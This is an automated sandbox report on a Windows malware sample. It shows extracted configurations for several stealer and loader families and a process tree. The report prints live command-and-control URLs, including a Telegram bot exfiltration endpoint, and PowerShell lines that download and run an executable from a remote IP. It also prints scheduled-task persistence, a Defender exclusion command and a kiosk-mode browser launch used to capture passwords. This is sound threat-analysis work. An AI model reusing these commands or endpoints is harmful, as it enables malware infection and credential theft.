Overview

overview

10

Static

static

5

c1a431d9ee...67.exe

windows7-x64

10

c1a431d9ee...67.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/03/2025, 17:05

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    c1a431d9eeca3c834b656a17dd543835020a9a90a6e5fd28d947dfd058d36e67.exe

  • Size

    938KB

  • MD5

    49b60f16af6a6028755c86cad74bb4ee

  • SHA1

    a94d538bebbbcf138c9116f5201009ae14d9c773

  • SHA256

    c1a431d9eeca3c834b656a17dd543835020a9a90a6e5fd28d947dfd058d36e67

  • SHA512

    dd120b906b034e837c1ede550f5b6d9afdb045ba50aef3cff87473cccd96b51827b2477e3fcb1b8658c5926adb2deaa0f26706dc30f97a6b9fb841f46ff2d314

  • SSDEEP

    24576:VqDEvCTbMWu7rQYlBQcBiT6rprG8a0su:VTvC/MTQYxsWR7a0s

Score
10/10
amadeygcleanerhealerlitehttpphemedronestealcvidar092155ir7amtrumpbotcredential_accessdefense_evasiondiscoverydropperevasionexecutionloaderpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

phemedrone

C2

https://api.telegram.org/bot8073216408:AAGdXWcCmxBIngZx-Z502Gat9NRWpLvPTxU/sendDocument

Extracted

Family

litehttp

Version

v1.0.9

C2

http://185.208.156.162/page.php

Attributes
  • key

    v1d6kd29g85cm8jp4pv8tvflvg303gbl

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Extracted

Family

vidar

Botnet

ir7am

C2

https://t.me/l793oy

https://steamcommunity.com/profiles/76561199829660832
Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Vidar Stealer 2 IoCs
    stealer
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • LiteHTTP

    LiteHTTP is an open-source bot written in C#.

    stealerbotlitehttp
  • Litehttp family
    litehttp
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Phemedrone

    An information and wallet stealer written in C#.

    stealerphemedrone
  • Phemedrone family
    phemedrone
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 15 IoCs
    defense_evasion
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 21 IoCs
  • .NET Reactor proctector 2 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 30 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 35 IoCs
  • Identifies Wine through registry keys 2 TTPs 15 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 15 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 52 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of FindShellTrayWindow 38 IoCs
  • Suspicious use of SendNotifyMessage 37 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\c1a431d9eeca3c834b656a17dd543835020a9a90a6e5fd28d947dfd058d36e67.exe
    "C:\Users\Admin\AppData\Local\Temp\c1a431d9eeca3c834b656a17dd543835020a9a90a6e5fd28d947dfd058d36e67.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3544
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn 2Z1oFmaMcmS /tr "mshta C:\Users\Admin\AppData\Local\Temp\H5r7M8sf5.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2476
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn 2Z1oFmaMcmS /tr "mshta C:\Users\Admin\AppData\Local\Temp\H5r7M8sf5.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:672
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\H5r7M8sf5.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3588
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZLDH8CNOMNYHEPT2JKSW6KXTBSAMKUBD.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3500
        • C:\Users\Admin\AppData\Local\TempZLDH8CNOMNYHEPT2JKSW6KXTBSAMKUBD.EXE
          "C:\Users\Admin\AppData\Local\TempZLDH8CNOMNYHEPT2JKSW6KXTBSAMKUBD.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3240
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1076
            • C:\Users\Admin\AppData\Local\Temp\10104610101\2c6cf18ecd.exe
              "C:\Users\Admin\AppData\Local\Temp\10104610101\2c6cf18ecd.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:3512
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c schtasks /create /tn ZOQi0maWRXN /tr "mshta C:\Users\Admin\AppData\Local\Temp\SWWmBz7bY.hta" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3840
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn ZOQi0maWRXN /tr "mshta C:\Users\Admin\AppData\Local\Temp\SWWmBz7bY.hta" /sc minute /mo 25 /ru "Admin" /f
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:4456
              • C:\Windows\SysWOW64\mshta.exe
                mshta C:\Users\Admin\AppData\Local\Temp\SWWmBz7bY.hta
                7⤵
                • Checks computer location settings
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1620
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'2YURZAHXMW6GXPMYPHN1QK4ALHC41ZV6.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1368
                  • C:\Users\Admin\AppData\Local\Temp2YURZAHXMW6GXPMYPHN1QK4ALHC41ZV6.EXE
                    "C:\Users\Admin\AppData\Local\Temp2YURZAHXMW6GXPMYPHN1QK4ALHC41ZV6.EXE"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1944
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10104620121\am_no.cmd" "
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4936
              • C:\Windows\SysWOW64\timeout.exe
                timeout /t 2
                7⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:4124
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4004
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4960
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4640
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3416
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1896
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3696
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /tn "iEpMNmafFyS" /tr "mshta \"C:\Temp\ISJEwcLzv.hta\"" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:3244
              • C:\Windows\SysWOW64\mshta.exe
                mshta "C:\Temp\ISJEwcLzv.hta"
                7⤵
                • Checks computer location settings
                • System Location Discovery: System Language Discovery
                PID:3976
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4188
                  • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                    "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1992
            • C:\Users\Admin\AppData\Local\Temp\10104820101\d7fb9061a7.exe
              "C:\Users\Admin\AppData\Local\Temp\10104820101\d7fb9061a7.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1508
            • C:\Users\Admin\AppData\Local\Temp\10104830101\pDZWk1j.exe
              "C:\Users\Admin\AppData\Local\Temp\10104830101\pDZWk1j.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              PID:2660
              • C:\Users\Admin\AppData\Local\Temp\10104830101\pDZWk1j.exe
                "C:\Users\Admin\AppData\Local\Temp\10104830101\pDZWk1j.exe"
                7⤵
                • Executes dropped EXE
                PID:3824
              • C:\Users\Admin\AppData\Local\Temp\10104830101\pDZWk1j.exe
                "C:\Users\Admin\AppData\Local\Temp\10104830101\pDZWk1j.exe"
                7⤵
                • Executes dropped EXE
                PID:1452
              • C:\Users\Admin\AppData\Local\Temp\10104830101\pDZWk1j.exe
                "C:\Users\Admin\AppData\Local\Temp\10104830101\pDZWk1j.exe"
                7⤵
                • Executes dropped EXE
                PID:852
              • C:\Users\Admin\AppData\Local\Temp\10104830101\pDZWk1j.exe
                "C:\Users\Admin\AppData\Local\Temp\10104830101\pDZWk1j.exe"
                7⤵
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2152
                • C:\Users\Admin\AppData\Roaming\xb7PWZwMMv.exe
                  "C:\Users\Admin\AppData\Roaming\xb7PWZwMMv.exe"
                  8⤵
                  • Executes dropped EXE
                  PID:4640
                • C:\Users\Admin\AppData\Roaming\w6swxRHYtZ.exe
                  "C:\Users\Admin\AppData\Roaming\w6swxRHYtZ.exe"
                  8⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3624
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 832
                7⤵
                • Program crash
                PID:3512
            • C:\Users\Admin\AppData\Local\Temp\10104850101\cc9ac2900b.exe
              "C:\Users\Admin\AppData\Local\Temp\10104850101\cc9ac2900b.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4500
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                7⤵
                • Downloads MZ/PE file
                • System Location Discovery: System Language Discovery
                PID:1896
            • C:\Users\Admin\AppData\Local\Temp\10104860101\0b10c95dde.exe
              "C:\Users\Admin\AppData\Local\Temp\10104860101\0b10c95dde.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:768
              • C:\Users\Admin\AppData\Local\Temp\10104860101\0b10c95dde.exe
                "C:\Users\Admin\AppData\Local\Temp\10104860101\0b10c95dde.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:4808
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 768 -s 812
                7⤵
                • Program crash
                PID:5056
            • C:\Users\Admin\AppData\Local\Temp\10104870101\d2cf0b8874.exe
              "C:\Users\Admin\AppData\Local\Temp\10104870101\d2cf0b8874.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1572
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                7⤵
                • Downloads MZ/PE file
                • System Location Discovery: System Language Discovery
                PID:3244
            • C:\Users\Admin\AppData\Local\Temp\10104880101\45a1ed5133.exe
              "C:\Users\Admin\AppData\Local\Temp\10104880101\45a1ed5133.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4684
            • C:\Users\Admin\AppData\Local\Temp\10104890101\476de4addb.exe
              "C:\Users\Admin\AppData\Local\Temp\10104890101\476de4addb.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1468
            • C:\Users\Admin\AppData\Local\Temp\10104900101\ce4pMzk.exe
              "C:\Users\Admin\AppData\Local\Temp\10104900101\ce4pMzk.exe"
              6⤵
              • Downloads MZ/PE file
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1412
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Local\Caches\atle11Vo\Anubis.exe""
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:5636
              • C:\Users\Admin\AppData\Roaming\abVvFvr.exe
                "C:\Users\Admin\AppData\Roaming\abVvFvr.exe"
                7⤵
                • Executes dropped EXE
                PID:6060
            • C:\Users\Admin\AppData\Local\Temp\10104920101\463d60b86f.exe
              "C:\Users\Admin\AppData\Local\Temp\10104920101\463d60b86f.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Downloads MZ/PE file
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:3332
              • C:\Users\Admin\AppData\Local\Temp\JY4UKYPK97I92KKCAVXZYZOJ5.exe
                "C:\Users\Admin\AppData\Local\Temp\JY4UKYPK97I92KKCAVXZYZOJ5.exe"
                7⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                PID:2516
            • C:\Users\Admin\AppData\Local\Temp\10104930101\560405edac.exe
              "C:\Users\Admin\AppData\Local\Temp\10104930101\560405edac.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              PID:2508
            • C:\Users\Admin\AppData\Local\Temp\10104940101\67b204910f.exe
              "C:\Users\Admin\AppData\Local\Temp\10104940101\67b204910f.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:4724
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM firefox.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4460
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM chrome.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4124
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM msedge.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1996
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM opera.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2540
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM brave.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4500
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                7⤵
                  PID:3888
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                    8⤵
                    • Checks processor information in registry
                    • Modifies registry class
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    • Suspicious use of SetWindowsHookEx
                    PID:4368
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1996 -parentBuildID 20240401114208 -prefsHandle 1912 -prefMapHandle 1904 -prefsLen 27454 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8d4c4681-73f4-4785-a78a-975c673efb1d} 4368 "\\.\pipe\gecko-crash-server-pipe.4368" gpu
                      9⤵
                        PID:4188
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2420 -parentBuildID 20240401114208 -prefsHandle 2412 -prefMapHandle 2408 -prefsLen 28374 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {209eefb5-642e-49c5-971a-cf49d4e713d0} 4368 "\\.\pipe\gecko-crash-server-pipe.4368" socket
                        9⤵
                          PID:1164
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3224 -childID 1 -isForBrowser -prefsHandle 3220 -prefMapHandle 3128 -prefsLen 22746 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ccad531e-0b92-4d28-b4de-582ad45484f2} 4368 "\\.\pipe\gecko-crash-server-pipe.4368" tab
                          9⤵
                            PID:992
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=888 -childID 2 -isForBrowser -prefsHandle 1240 -prefMapHandle 2568 -prefsLen 32864 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {16dccd7a-0e60-4e2a-8bbf-477594b2d704} 4368 "\\.\pipe\gecko-crash-server-pipe.4368" tab
                            9⤵
                              PID:3432
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4720 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4812 -prefMapHandle 4808 -prefsLen 32864 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2ffd03b-f813-445d-acde-eafb2460e3b5} 4368 "\\.\pipe\gecko-crash-server-pipe.4368" utility
                              9⤵
                              • Checks processor information in registry
                              PID:1468
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5364 -childID 3 -isForBrowser -prefsHandle 5356 -prefMapHandle 5340 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c5e962f5-46b3-4699-8fe8-5579d003927a} 4368 "\\.\pipe\gecko-crash-server-pipe.4368" tab
                              9⤵
                                PID:5840
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5608 -childID 4 -isForBrowser -prefsHandle 5528 -prefMapHandle 5536 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {45b8dc58-c5e4-479c-aa45-c61dbee29957} 4368 "\\.\pipe\gecko-crash-server-pipe.4368" tab
                                9⤵
                                  PID:5852
